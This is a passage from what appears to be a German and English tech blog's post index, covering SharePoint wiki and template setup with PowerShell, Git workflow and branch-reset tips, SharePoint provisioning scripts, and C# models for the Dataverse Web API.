auch die Möglichkeit ein Wiki im Intranet einer Organisation anzulegen. Allerdings stehen diese Seiten nach wie vor lediglich nur im Classic Experience zur Verfügung.\nWenn man nun nicht unbedingt Microsoft Viva einsetzen möchte oder kann und dennoch die Vorteile der Modern Experience nutzen will, sind einige Anpassungen vonnöten um einige typischen Wiki-Eigenschaften In SharePoint zu erhalten.\nKlassisches Wiki Eine zentrale Funktion von Wiki-Beiträgen ist das Taggen von Wiki-Seiten, um diese später z.B. in einem gesonderten Webpart konsolidiert anzeigen zu lassen. In diesem Beitrag zeige ich, wie man dies und weitere Einstellungsmöglichkeiten für das Wiki in SharePoint im Modern Experience erhält.\nWir beraten Unternehmen bei ihrer Digitalstrategie und finden für jedes Szenario die passende Lösung aus den fast unbegrenzten Möglichkeiten rund um Microsoft 365. Wiki in SharePoint mit Seitenvorlagen Um dem Ersteller neuer Wiki-Seiten die Erstellung neuer Seiten möglichst einfach zu gestallten, kann man Seitenvorlagen von SharePoint verwenden. Darin ist bereits ein Layout definiert, damit der Ersteller neuer Wiki-Seiten direkt los legen kann. Natürlich ist es weiterhin möglich bestehende Webparts und Layout-Elemente anzupassen oder zu ersetzen.\nNeben dem Layout und Webparts soll auch die bereits erwähnte Möglichkeit bestehen, die Wiki-Seiten entsprechend zu taggen.\nWebsiteinhaltstyp: Wiki-Seite Um das Taggen zu ermöglichen werden Websitespalten und -inhaltstypen benötigt. Diese werden dazu verwendet, um in SharePoint zentral Datentypen und Informationstypen bereitzustellen, die wiederum in Listen und Dokumentenbibliotheken verwendet werden können; oder wie in unserm Fall die Website-Seite.\nDie Website-Seite in SharePoint (Inhaltsseite) basiert auf dem Inhaltstyp „Websiteseite“. Anpassungen dieses Inhaltstyps, beispielsweise um weitere Spalten, wie einer Kategorie (Auswahl), ist hierbei nicht möglich. Aus diesem Grund wird eine neuer Inhaltstyp benötigt, welcher auf diesem basiert und ihn erweitert.\nHierzu werden zunächst zwei Websitespalten erzeugt und einem neuen Websiteinhaltstyp hinzugefügt:\nKategorie: die Kategorie ist ein Auswahlfeld und soll helfen, die Seiten entsprechend zu taggen. Gültig bis: um Inhalten eine zeitliche Gültigkeit hinzufügen zu können, wird das Feld „Gültig Bis“ hinzugefügt. Darin kann ein Datum festgelegt werden. Es können natürlich noch weitere Websitespalten erzeugt werden. Die Spalte „Gültig Bis“ kann z.B. dazu verwendet werden ein Alerting für veraltete Beiträge zu erstellen. Das Alerting spielt in diesem Beitrag keine Rolle, weshalb hierauf nicht genauer eingegangen wird.\nUm die Ressourcen in SharePoint anlegen zu können, benötigt man die SharePoint Patterns and Pracitces (PnP) Bibliothek, welche mittels PowerShell angesprochen wird.\nIm Folgenden Listing wird zunächst eine Verbindung mit dem SharePoint der Organisation hergestellt. Anschließend wird ein neuer Inhaltstyp (basieren auf dem Inhaltstyp „Websiteseite“) erzeugt: MyWiki-Pages. Des weiteren werden zwei Websitespalten erstellt und dem neu erstellen Inhaltstyp zugewiesen.\nConnect-PnPOnline -Url https://mysharepointorg.sharepoint.com/ -UseWebLogin $groupName=\u0026#34;MyOrg-Pages\u0026#34; $contentTypeParent = Get-PnPContentType -Identity \u0026#34;0x0101009D1CB255DA76424F860D91F20E6C4118\u0026#34; $newMyWikiContentType = Add-PnPContentType -Name \u0026#34;MyWiki-Pages\u0026#34; -Group $groupName -ParentContentType $contentTypeParent $MyWikiKategorieField = Add-PnPField -DisplayName \u0026#34;Kategorie\u0026#34; -InternalName \u0026#34;OKWissenKategorie\u0026#34; -Type MultiChoice -Group $groupName -AddToDefaultView -Choices \u0026#34;Allgemein\u0026#34;, \u0026#34;Arbeitssicherheit\u0026#34;, \u0026#34;Datenschutz\u0026#34; $MyWikiGueltigBisField = Add-PnPFieldFromXml ’\u0026lt;field type=\u0026#34;DateTime\u0026#34; displayname=\u0026#34;Gültig bis\u0026#34; required=\u0026#34;FALSE\u0026#34; enforceuniquevalues=\u0026#34;FALSE\u0026#34; indexed=\u0026#34;FALSE\u0026#34; format=\u0026#34;DateOnly\u0026#34; group=\u0026#34;$groupName\u0026#34; friendlydisplayformat=\u0026#34;Disabled\u0026#34; id=\u0026#34;{10ce4fed-921a-4d51-a870-534605bf89be}\u0026#34; sourceid=\u0026#34;{6cf53ae4-314b-435e-9685-19b7f7b8df07}\u0026#34; staticname=\u0026#34;GueltigBis\u0026#34; name=\u0026#34;GueltigBis\u0026#34;\u0026gt;\u0026lt;/field\u0026gt;’ Add-PnPFieldToContentType -Field $MyWikiKategorieField -ContentType $newMyWikiContentType Add-PnPFieldToContentType -Field $MyWikiGueltigBisField -ContentType $newMyWikiContentType Um nun den neuen Websiteinhaltstyp und die -spalten nutzen zu können, muss dieser zunächst der Liste für Websiteseiten hinzugefügt werden und als Standard Websiteinhaltstyp definiert werden.\nConnect-PnPOnline -Url https://mysharepointorg.sharepoint.com/okwiki -UseWebLogin Add-PnPContentTypeToList -List \u0026#34;Websiteseiten\u0026#34; -ContentType $newMyWikiContentType -DefaultContentType Disconnect-PnPOnline Wenn man nun eine neue Website-Seite erstellt, können über das Eigenschaftsmenü (1) die neuen Felder „Kategorie“ und „Gültig Bis“ verändert werden (2). Um es dauerhaft auf der Seite anzuzeigen, muss lediglich das Webpart „Seiteneigenschaften“ samt den anzuzeigenden Eigenschaften ausgewählt und der Webseite hinzugefügt werden (3).\nSomit erhält man eine gute Basis, um trotz der Einschränkungen in SharePoint auf ein Wiki mit der Modern Experience nicht verzichten muss.\nWir beraten Unternehmen bei ihrer Digitalstrategie und finden für jedes Szenario die passende Lösung aus den fast unbegrenzten Möglichkeiten rund um Microsoft 365. ","date":"6. Oktober 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/sharepoint-wiki-mit-modern-experience_hub5ca0ed5270f65ac584763cac85d90e2_8854_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/sharepoint-wiki-mit-modern-experience_hub5ca0ed5270f65ac584763cac85d90e2_8854_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/sharepoint-wiki-mit-modern-experience/","tags":["microsoft-365"],"title":"SharePoint-Wiki mit Modern Experience"},{"categories":["Quick-Tipps"],"contents":"Last week I stumbled over a twitter thread of people argumenting about what Git workflow to use. Most common sense was, not to use Gitflow anymore. But how should our Git workflow be today?\nMy experience with Gitflow Looking back in time, about 6 years ago, we started our first projects with Git as version control system. With day-to-day experience in team foundation version control (TFVS) and subversion (SVN), we started to adopt Git and Gitflow. At that time, Gitflow was the de facto standard workflow. Beside learning to adopt a new version control system, we also adopted a new workflow. Coming from trunk-based development – without branching – it became a very steep learning curve. Learning Git was feasible for a developer with experience in another version control system, but at the same time adopting a new workflow made the switch hard. I can remember that we had constant team discussions about how to branch, to be compliant with the Gitflow. And even worse, we tried to couple staging environments with our branches (dev -\u0026gt; DEV, test/release -\u0026gt; UAT, main -\u0026gt; PROD) to do something that we thought is continuous delivery.\nAll together lead to:\nCognitive complexity: A lot of time in the team was invested in how to branch. Staleness of the main branch: As our production environment was coupled to the main branch, the merge from dev to main could only be made after user acceptance testing and so it (often) became stale. The dev branch became the most important one. With this experience, we finally switched to a trunk-based development workflow with release branches, that eliminated the complexity and staleness of the main branch.\nMy current recommendation Keep it simple. Start with a trunk-based workflow , like GitHub flow and from there think about how you want to do deliver your application. If you want to do continuous deployment your mostly done. If you have larger release cycles or have to support multiple versions, use release branches.\nLinks Gitflow Workflow | Atlassian Git Tutorial Git Flow Is A Bad Idea – YouTube Git branching guidance – Azure Repos | Microsoft Docs ","date":"29. September 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/which-git-branching-strategy-to-use_hufb39e85923c4d67fb695c448dced8f39_37726_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/which-git-branching-strategy-to-use_hufb39e85923c4d67fb695c448dced8f39_37726_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/which-git-branching-strategy-to-use/","tags":["tooling"],"title":"Which Git branching strategy to use?"},{"categories":["Quick-Tipps","Serien"],"contents":"Most people I know use graphical tools like Git Kraken or Fork to interact with their git repositories. These programs or even the integrated git clients in Visual Studio/Code are easy to use and provide nice visualizations. But I for myself often like to stick with the command line when it comes to git – call me a Purist. Mastering git on the command line makes you platform- and software agnostic so you stay productive even when your work environment changes at some point. Getting to know and practicing the different git commands and switches also comes in handy when your repository is broken and you have to carry out less prominent git operations to save the day.\nBut remembering them all is hard, so I decided to start this blog series called Quick Git where I will every now and then quickly cover more or lesser known git operations with regards to their quirks and how to apply them on the command line with examples. This initial post will serve as an index for the collection of hopefully helpful Git Command line Quick Tipps and I will keep it updated every time I release a new one.\nHere you go!\nIndex Reset a branch Update a commit Case-sensitive commits Delete local branches without remote Time Qualifiers ","date":"23. September 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n\n","permalink":"/quick-git-index/","tags":["tooling"],"title":"Quick Git - Index"},{"categories":["Quick-Tipps","Serien"],"contents":"We’ve all been there at some point. A rebase here, an unsuccessful merge there – and your branch is pretty much broken. If only you could go back in time to the point where things were working! Well, turns out you can.\ngit reset --hard origin/branch-to-reset git clean -d -f -x If you just want to nuke all local changes and get the latest working state from a tracking remote branch, this is for you. First, fetch the latest state from the origin and checkout the branch to reset (of course, these steps are optional if you are already on the branch and have the latest changes). Then, you reset your local branch to the current head of the tracking remote. The \u0026ndash;hard switch will make sure to not only reset the index but also the whole working tree, so that any changes made to tracked files are discarded there. The clean command in the end will recursively purge any remaining untracked, ignored and non-ignored files and directories respectively. You should now be on par with the remote again!\nAnother, shorter way to achieve the same result would be to do\ngit switch -C branch-to-reset origin/branch-to-reset which is nice, but the documentation at the time of writing warns that this command is experimental and the behavior may change .\nBonus git reset does accept commit hashes, too. So you could also go back to a particular commit instead. You can conveniently list commits and their hashes with git log –pretty=oneline.\n","date":"23. September 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/quick-git-reset-a-branch_hue1836ce0e16e881784ac364e4ffbe6a3_761937_650x0_resize_q90_h2_box_3.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/quick-git-reset-a-branch_hue1836ce0e16e881784ac364e4ffbe6a3_761937_650x0_resize_box_3.png'\"\u003e\n \n \n \n\n","permalink":"/quick-git-reset-a-branch/","tags":["tooling"],"title":"Quick Git - Reset a branch"},{"categories":["Quick-Tipps"],"contents":"Eine häufige Aufgabe für die Mitarbeitenden ist die Erstellung von Dokumenten und Präsentationen im firmeneigenen Design (Corporate Identity). Um dem klassischen Versenden von Dateien und Dokumenten via E-Mail zu vermeiden, bietet SharePoint mit seinen Dokumentenbibliotheken bereits eine Abhilfe. So können Unternehmen beispielsweise eine Vorlagen-Dokumentenbibliothek bereitstellen, worauf jeder Mitarbeitende berechtigt ist und diese sogar mit dem OneDrive-Client lokal synchronisieren kann.\nLeider gehen mit dieser Konstellation auch einige Probleme einher. So muss jeder Mitarbeitende wissen, wo sich diese Dokumentenbibliothek befindet, was insbesondere für neue Mitarbeitende eine Herausforderung darstellt. Je nach Berechtigungsstruktur, können Mitarbeitende z.B. alle Dokumente in SharePoint bearbeiten, was natürlich mit der Einschränkung der Berechtigungen lösbar wäre, aber dennoch eine einfache Berechtigungsverwaltung verhindert. So kann es z.B. passieren, dass die Office-Vorlagendatei von einem Mitarbeitenden fälschlicherweise nicht lokal, sondern direkt in der Dokumentenbibliothek geöffnet und gespeichert wird, dadurch können neue Präsentationen sozusagen „Folgefehler“ enthalten. Somit lässt löst dieser Ansatz die Verwaltung der Vorlagen organisatorisch.\nÜberblick In diesem Blog-Beitrag werden die Möglichkeiten aufgezeigt, welche Office 365 bietet, um den Mitarbeitenden eine zentralisierte Bereitstellung der Unternehmensvorlagen bereitzustellen. Hierzu gehe ich auf die Möglichkeiten der erweiterten Verwendung einer Dokumentenbibliothek als Vorlagen Bibliothek ein und wie Mitarbeitende aus unterschiedlichen Bereichen u.a. verschiedene Berechtigungen erhalten.\nVorlagen Dokumentenbibliothek in Office 365 Office 365 bietet die Möglichkeit eine SharePoint-Dokumentenbibliothek so einzustellen, dass diese ausschließlich für Dokumentenvorlagen für die Office-Anwendungen dient. Anschließend können die Vorlagen direkt aus den jeweiligen Anwendungen heraus geöffnet werden. Hierbei gibt es einige Dinge zu beachten:\nVorlagen Dokumentenbibliothek: Zum einen muss die Dokumentenbibliothek im SharePoint-Root des SharePoint-Tenants angelegt sein. Das bedeutet, dass keine Dokumentenbibliothek einer Subsite für diese Funktion verwendet werden kann. Vorlagen bereitstellen: Zum anderen müssen die Unternehmensvorlagen im Office-typischen Vorlagenformat gespeichert werden. Bei Word entspricht die Dateiendung DOTX dem Vorlagentyp, bei PowerPoint lautet diese POTX. Dokumentenbibliothek als Vorlagenspeicher definieren: Um die Vorlagen nun über die Office-Anwendungen zugreifbar zu machen, muss sie für diesen SharePoint-Tenant als Ort für Vorlagen definiert werden. Dies geschieht mithilfe der SharePoint Online Management Shell. Einrichtung der Dokumentenbibliothek In SharePoint Online können Einstellungen über die sogenannte SharePoint Management Shell durchgeführt werden. Die Shell stellt einen Kommandozeileninterpreter dar, welcher über PowerShell genutzt werden kann. Den Interpreter kann man über folgenden PowerShell-Befehl installiert.\nInstall-Module -Name Microsoft.Online.SharePoint.PowerShell Um nun die vorher erstellte Dokumentenbibliothek auf der obersten Ebene in SharePoint als Vorlagen-Dokumentenbibliothek verwenden zu können, ist zunächst eine Verbindung zwischen der SharePoint Online Management Shell und dem Office-365-Admin-Portal der Organisation vonnöten.\n$orgName=\u0026#34;mysharepointorg\u0026#34; Connect-SPOService -Url \u0026#34;https://$orgName-admin.sharepoint.com\u0026#34; Anschließend wird die Dokumentenbibliothek, welche für die Office-Vorlagen verwendet wird, durch den OrgAssetType OfficeTemplateLibrary als Vorlagenbibliothek deklariert.\nAdd-SPOOrgAssetsLibrary -LibraryUrl \u0026#34;https://$orgName.sharepoint.com/MeineVorlagenDokBib\u0026#34; -OrgAssetType OfficeTemplateLibrary Die Ausführung wird mit einer entsprechenden Erfolgsmeldung bestätigt. Allerdings kann es bis zu 24 Stunden dauern, bis die Einstellung in Office 365 konvergiert sind. Anschließend sind die Vorlagen über die Office-Anwendung direkt verfügbar.\nBerechtigungen Wenn die Bereiche gesonderte Berechtigungen verwenden möchten, kann dies auf zwei Wegen erreicht werden.\nZum einen können auf einem SharePoint-Tenant bis zu 30 solcher Vorlagenbibliotheken definiert werden. Hierbei wäre denkbar, dass Bereiche eines Unternehmens, welche exklusiv für diese Vorlagen berechtigt sind, hierfür berechtigt werden. Zum anderen kann in der zuvor erstellen Vorlagen-Bibliothek eine Ordnerstruktur angelegt werden, für welche dann gesondert Berechtigungen gesetzt werden können. Es ist hier insbesondere darauf zu achten, dass die Vererbungsunterbrechung für Berechtigungen durchgeführt werden muss. Beide Lösungsansätze haben ihre Anwendungsbereiche. Die Verwendung des Ordners erscheint oft pragmatisch und schnell. Der Ansatz, für jeden Bereich eine gesonderte Vorlagenbibliothek zu erstellen, hat den Vorteil, dass der Benutzer direkt beim Öffnen der Officeanwendung alle Vorlagenbibliotheken der Bereiche sieht, für die er oder sie berechtigt ist. Bei einer einzigen Vorlagenbibliothek ist ein weiterer Klick notwendig.\nFazit Mit einfachen Mitteln können die bestehenden Office-365-Ressourcen so geschickt eingesetzt werden, um ein zentrales Problem des Teilens von Unternehmensvorlagen zu lösen. Dabei unterscheidet sich die Datenhaltung kaum von der bisherigen Option vieler Unternehmen. Lediglich die Verwendung derselben wird durch den Einsatz der Officeanwendungen effizienter gestaltet. Gleichzeitig erhält man die Flexibilität durch den Einsatz von Ordnern (samt gesonderter Berechtigung) oder mehreren Vorlagenbibliotheken besonders geschützte Unternehmensvorlagen nur den Mitarbeitenden zugänglich zu machen, welche diese auch sehen und verwenden dürfen (z.B. HR-Bereich, Vertrieb usw.).\nEinige weitere Vorteile der Bereitstellung wären u.a.:\nein direkter Zugriff auf die Vorlagen aus Office heraus. die Anzeige der relevanten Dokumente (z.B. PowerPoint zeigt nur Vorlagen für PowerPoint an). kein unbeabsichtigtes Ändern/Löschen von Vorlagen. Wie handhabt ihr das bei euch im Unternehmen? Setzt ihr bereits dieses Feature ein oder habt ihr eine zentrale Dokumentenbibliothek, worüber ihr die Vorlagen im Unternehmen teilt?\n","date":"9. September 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/unternehmensvorlagen-office-365_hu00a7cea72b19b8ef920224af8aaf3022_24162_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/unternehmensvorlagen-office-365_hu00a7cea72b19b8ef920224af8aaf3022_24162_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/unternehmensvorlagen-in-office-365/","tags":["microsoft-365"],"title":"Unternehmensvorlagen in Office 365"},{"categories":["Insights"],"contents":"Die Provisionierung von SharePoint-Listen und Feldern kann programmatisch über mehrere Wege umgesetzt werden. So bietet beispielsweise die SharePoint Management Shell (PowerShell) eine Möglichkeit um Site Collections und Listen in SharePoint zu verwalten. Mit PnP hat Microsoft ein weiteres PowerShell-Modul bereitgestellt, um neben der SharePoint-Umgebung auch u.a. Microsoft Teams unterstützt.\nDabei stellt eine Provisionierung gleichzeitig auf einer SharePoint-Online sowie -OnPrem-Instanz einige Herausforderungen dar. So laufen einige Zugriffe auf Ressourcen in SharePoint unterschiedlich ab. Zum einen kann das PnP-Modul nicht für sämtliche Funktionen genutzt werden, zum anderen werden diese auf einer OnPrem-Umgebung oft nicht im selben Umfang unterstützt wie in SharePoint Online.\nÜberblick Dieser Blogbeitrag soll einen Erfahrungsbericht zur Provisionierung von SharePoint Site Collections, sowie Listen und Feldern dienen und was bei einer parallelen Entwicklung für SharePoint Online und OnPrem beachtet werden sollte.\nProvisionierung von Site Collections Um eine Site Collection erstellen zu können wird das SharePoint-Management-Shell-Modul verwendet. Hierbei existiert weder für OnPrem noch für Online ein passendes PnP-Modul. Installiert wird das benötigte Modul mit Add-PSsnapin Microsoft.SharePoint.PowerShell im PowerShell-Skript.\nIm nachfolgenden Skript wird zunächst geprüft, ob bereits eine bestimmte Site Collection vorhanden ist. Ist dies der Fall, wird diese gelöscht und neu erstellt. Hierbei wird sofort ersichtlich, das trotz der Verwendung eines Entwicklungsmoduls, es unterschiedliche Befehle zum Ermitteln und Löschen der Site existieren: vgl. Remove-SPOSite (SharePoint Online) und Remove-SPSite (SharePoint OnPrem).\nswitch ($SharePointTyp) { Online { Connect-SPOService -Url $destinationSpAdminUrl -Credential $destinationSpCred $siteCollection = Get-SPOSite $destinationSpUrl if ($null -ne $siteCollection) { Write-Host \u0026#34;### WebSiteCollection existiert bereits; wird gelöscht. ###\u0026#34; Remove-SPOSite -Identity $destinationSpUrl -Confirm:$false } New-SPOSite -Url $destinationSpUrl -LocaleID 1031 -Owner $createdBy -Template \u0026#34;COMMUNITY#0\u0026#34; -Title $siteCollectionName -StorageQuota 100 Write-Host \u0026#34;### neue WebSiteCollection erstellt $($destinationSpUrl). ###\u0026#34; } OnPremise { $siteCollection = Get-SPSite $destinationSpUrl -ErrorAction Ignore if ($null -ne $siteCollection) { Write-Host \u0026#34;### WebSiteCollection existiert bereits; wird gelöscht. ###\u0026#34; Remove-SPSite -Identity $destinationSpUrl -GradualDelete -Confirm:$False } New-SPSite -Url $destinationSpUrl -Language 1031 -OwnerAlias $createdBy -Template \u0026#34;COMMUNITY#0\u0026#34; -Name $siteCollectionName Write-Host \u0026#34;### neue WebSiteCollection erstellt $($destinationSpUrl). ###\u0026#34; } } Berechtigungen der Site Collection Um nun eine AD-Gruppe in eine SharePoint-Gruppe der Besucher der Site Collection hinzuzufügen kann das PnP-Modul verwendet werden.\nIm folgenden Code-Ausschnitt wird die Besuchergruppe aus der SharePoint-Umgebung geladen und eine AD-Gruppe der SharePoint-Gruppe zugewiesen.\nConnect-PnPOnline -Url $destinationSpUrl -Credentials $destinationSpCred Get-PnPGroup -Identity $siteCollectionVisitorName Add-PnPUserToGroup -LoginName $adGroupName -Identity $siteCollectionVisitorName Erstellen von Websitespalten Das Erstellen von Websitespalten kann ebenfalls mit dem PnP-Modul bewerkstelligt werden. Dabei kann neben der einfachen Erstellung von Spalten auch komplexere Spalten via XML definiert werden.\nIm nachfolgenden Code-Auszug wird neben einer einfachen Feld-Erstellung (Add-PnPField) auch ein Feld mit einer komplexeren Logik angelegt. Hierbei können beispielsweise Berechnungen mit angegeben werden.\nConnect-PnPOnline -Url $destinationSpUrl -Credentials ($destinationSpCred) Add-PnPField -DisplayName \u0026#34;Vorname\u0026#34; -InternalName \u0026#34;myVorname\u0026#34; -Type Text -Group $fieldGroupName $xml = \u0026#39;\u0026lt;field name=\u0026#34;myName\u0026#34; id=\u0026#34;\u0026#34; displayname=\u0026#34;Name\u0026#34; type=\u0026#34;Calculated\u0026#34; resulttype=\u0026#34;Text\u0026#34; group=\u0026#34;\u0026#39; + $fieldGroupName + \u0026#39;\u0026#34;\u0026gt; \u0026lt;formula\u0026gt;=myVorname\u0026lt;/formula\u0026gt; \u0026lt;fieldrefs\u0026gt; \u0026lt;fieldref id=\u0026#34;\u0026#34; name=\u0026#34;\u0026#34;\u0026gt;\u0026lt;/fieldref\u0026gt; \u0026lt;/fieldrefs\u0026gt; \u0026lt;/field\u0026gt;\u0026#39; Add-PnPFieldFromXml -FieldXml $xml Diese Felder können dann auch ganz einfach einem Inhaltstyp hinzugefügt werden.\nDas folgende Code-Listing zeigt die Erstellung eines neuen Inhaltstyps auf Basis des Inhaltstyps „Dokument“ und wie das zuvor erstellte Feld „myName“ diesem Inhaltstyp zugeordnet wird.\n$cTypeParent = Get-PnPContentType -Identity \u0026#34;Dokument\u0026#34; Add-PnPContentType -Name $contentTypeName -Group $groupName -ParentContentType $cTypeParent Add-PnPFieldToContentType -Field \u0026#34;myName\u0026#34; -ContentType $contentTypeName Fazit Das PnP-Modul bietet zwar viele Funktionen an und ist für die Entwicklung in SharePoint-Online mit Sicherheit eine sehr gute Wahl, doch ist es insbesondere bei komplexeren Anforderungen sehr Aufwendig eine Formel bei der Erstellung eines Feldes hinzuzufügen.\nEine pauschale Aussage zwecks Nutzungsempfehlung lässt sich oft schwer treffen, allerdings haben viele Projekte gezeigt, dass die Verwendung von PnP-Modulen eine einfache Nutzung und die Verwendbarkeit sowohl im Online wie auch OnPrem-Umfeld große Vorteile bot.\nParallele Entwicklungen, bei denen man sowohl für eine Online wie auch OnPrem-Umgebung entwickelt, bieten immer das Risiko, dass entweder der Aufwand insgesamt ansteigt, oder das eine Umgebung eher „stiefmütterlich“ behandelt wird, da diese erst in der Zukunft berücksichtigt wird. Aus diesem Grund sollte man sich zunächst für eine Umgebung entscheiden und anschließend entsprechend einen Migrationspfad erstellen, um die Lösung in die neue Umgebung zu migrieren.\n","date":"28. Juli 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/_hu52c96d9ed79606dd59ec45a006e42d1d_32425_fe3c4bbc46cc2d01eb2b70c32acff3d2.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/_hu52c96d9ed79606dd59ec45a006e42d1d_32425_747a77e02cf168d3e2b0460f382ad099.jpg'\"\u003e\n \n \n \n\n","permalink":"/erfahrungsbericht-provisionierung-in-sharepoint-mit-pnp-und-spo/","tags":["backend",".net"],"title":"Erfahrungsbericht: Provisionierung in SharePoint mit PnP und SPO"},{"categories":["Serien"],"contents":"Im zweiten Teil der Blogreihe habe ich euch gezeigt, wie ihr den Client in eure Projekte einbindet und grundlegend verwendet. Abschließend möchte ich euch heute noch mitgeben, wie ihr so manche Besonderheiten der Web API in Hinsicht auf Lookup-Spalten im Client meistern könnt und welche Verbesserungen und Features für weitere Versionen geplant sind.\nFrüher oder später kommt der Zeitpunkt, an dem ihr mit dem Client auch Datensätze aus Dataverse mit Lookup-Spalten verarbeiten möchtet. Diese unterliegen in der Web API im Gegensatz zu einfachen Spalten allerdings einigen Besonderheiten, die ihr bei der Nutzung des Clients und dem Design eurer Model-Klassen beachten müsst.\nSerialisierung und Deserialisierung Habt ihr mal versucht, das Salesorder-Model aus dem letzten Artikel zu verwenden, um über die Update-Methode des Clients den Auftrag in Dataverse zu aktualisieren?\nFalls ja, dann werdet ihr festgestellt haben, dass das so nicht funktioniert. Grund dafür ist, dass nicht alle Spalten, die die Web API zurück gibt, auch wieder 1:1 als Eingabe akzeptiert werden. Die Id-Spalte kann beispielsweise nicht aktualisiert werden, ist im aktuellen Model aber dennoch nach der Serialisierung im JSON enthalten.\nDie größten Unterschiede bei der Serialisierung und Deserialisierung gibt es bei Lookup-Spalten. Je nachdem, ob ein Datensatz von der Web API gelesen oder geschrieben wird, müssen diese unterschiedlich verarbeitet werden. Mehr zur allgemeinen Funktionsweise der Web API findet ihr in den Microsoft Docs .\nUm mit dieser Problematik im Client umzugehen, habe ich bisher immer den Lösungsansatz verfolgt, ein Model mit unterschiedlichen Eigenschaften für die Serialisierung und Deserialisierung zu pflegen. Dazu werden die Getter und Setter der Eigenschaften wie im nachfolgenden Beispiel entsprechend angepasst. Den Rest erledigt System.Text.Json für uns.\n[DataverseTable(\u0026#34;salesorder\u0026#34;, \u0026#34;salesorders\u0026#34;)] public class SalesOrder { [DataverseRowId] [JsonIgnore] public Guid Id { get; set; } [JsonPropertyName(\u0026#34;salesorderid\u0026#34;)] public string __in_id { set { Id = value; } } /// Die Eigenschaft, die die Lookup-Spalte in der Anwendung /// repräsentiert und mit welcher innerhalb dieser gearbeitet wird. [JsonIgnore] public Guid QuoteId { get; set; } /// Da der Getter private ist, wird diese Eigenschaft nur bei /// der Deserialisierung berücksichtigt. Der Wert wird an die /// QuoteId-Eigenschaft durchgereicht. Diese Eigenschaft existiert /// nur als Proxy zu QuoteId und sollte in der Anwendung nicht /// direkt verwendet werden. [JsonPropertyName(\u0026#34;_quoteid_value\u0026#34;)] public string __in_quoteid { set { QuoteId = new Guid(value); } } /// Da der Setter private ist, wird diese Eigenschaft nur bei /// der Serialisierung berücksichtigt. Der Wert aus der QuoteId- /// Eigenschaft wird verarbeitet und entsprechend heraus geschrieben. /// Diese Eigenschaft existiert nur als Proxy zu QuoteId und sollte /// in der Anwendung nicht direkt verwendet werden. [JsonPropertyName(\u0026#34;quoteid@odata.bind\u0026#34;)] public string __out_quoteid { get { if (QuoteId == null || QuoteId == Guid.Empty) { return null; } // associate return $\u0026#34;/quotes({QuoteId})\u0026#34;; } } } Lookup-Spalten mit unterschiedlichen Typen Dem obigen SalesOrder-Model kann entnommen werden, wie wir den Getter einer Eigenschaft im Model so aufbauen können, dass der durch die Guid repräsentierte Datensatz in Dataverse beim Schreiben der Lookup-Spalte verknüpft wird. Das konnten wir deshalb bewerkstelligen, da wir an dieser Stelle sicher wussten, dass sich hinter der Guid ein Angebot verbirgt. Wie aber kann so ein Getter auch für Lookup-Spalten umgesetzt werden, hinter denen sich unterschiedliche Typen verstecken können (z.B. Besitzer, der sowohl User als auch Team sein kann)?\nDie Antwort liefert die Microsoft.Dynamics.CRM.lookuplogicalname -Annotation. Sie wird in der JSON-Response der Web API zur Lookup-Spalte mitgeliefert und verrät uns die Tabelle, die sich hinter der Guid versteckt. Mit Hilfe dieser Annotation kann zur Laufzeit entschieden werden, welche Art von Datensatz sich hinter der Guid verbirgt.\n[DataverseTable(\u0026#34;salesorder\u0026#34;, \u0026#34;salesorders\u0026#34;)] public class SalesOrder { ... [JsonIgnore] public Guid OwnerId { get; set; } [JsonPropertyName(\u0026#34;_ownerid_value\u0026#34;)] public string _in_ownerid { set { OwnerId = new Guid(value); } } [JsonIgnore] public string OwnerType { get; set; } [JsonPropertyName(\u0026#34;_ownerid_value@Microsoft.Dynamics.CRM.lookuplogicalname\u0026#34;)] public string _in_ownertype { set { OwnerType = value; } } [JsonPropertyName(\u0026#34;ownerid@odata.bind\u0026#34;)] public string _out_ownerid { get { if (OwnerId == null || OwnerId == Guid.Empty) { return null; } return OwnerType switch { \u0026#34;team\u0026#34; =\u0026gt; $\u0026#34;/teams({OwnerId})\u0026#34;, \u0026#34;systemuser\u0026#34; =\u0026gt; 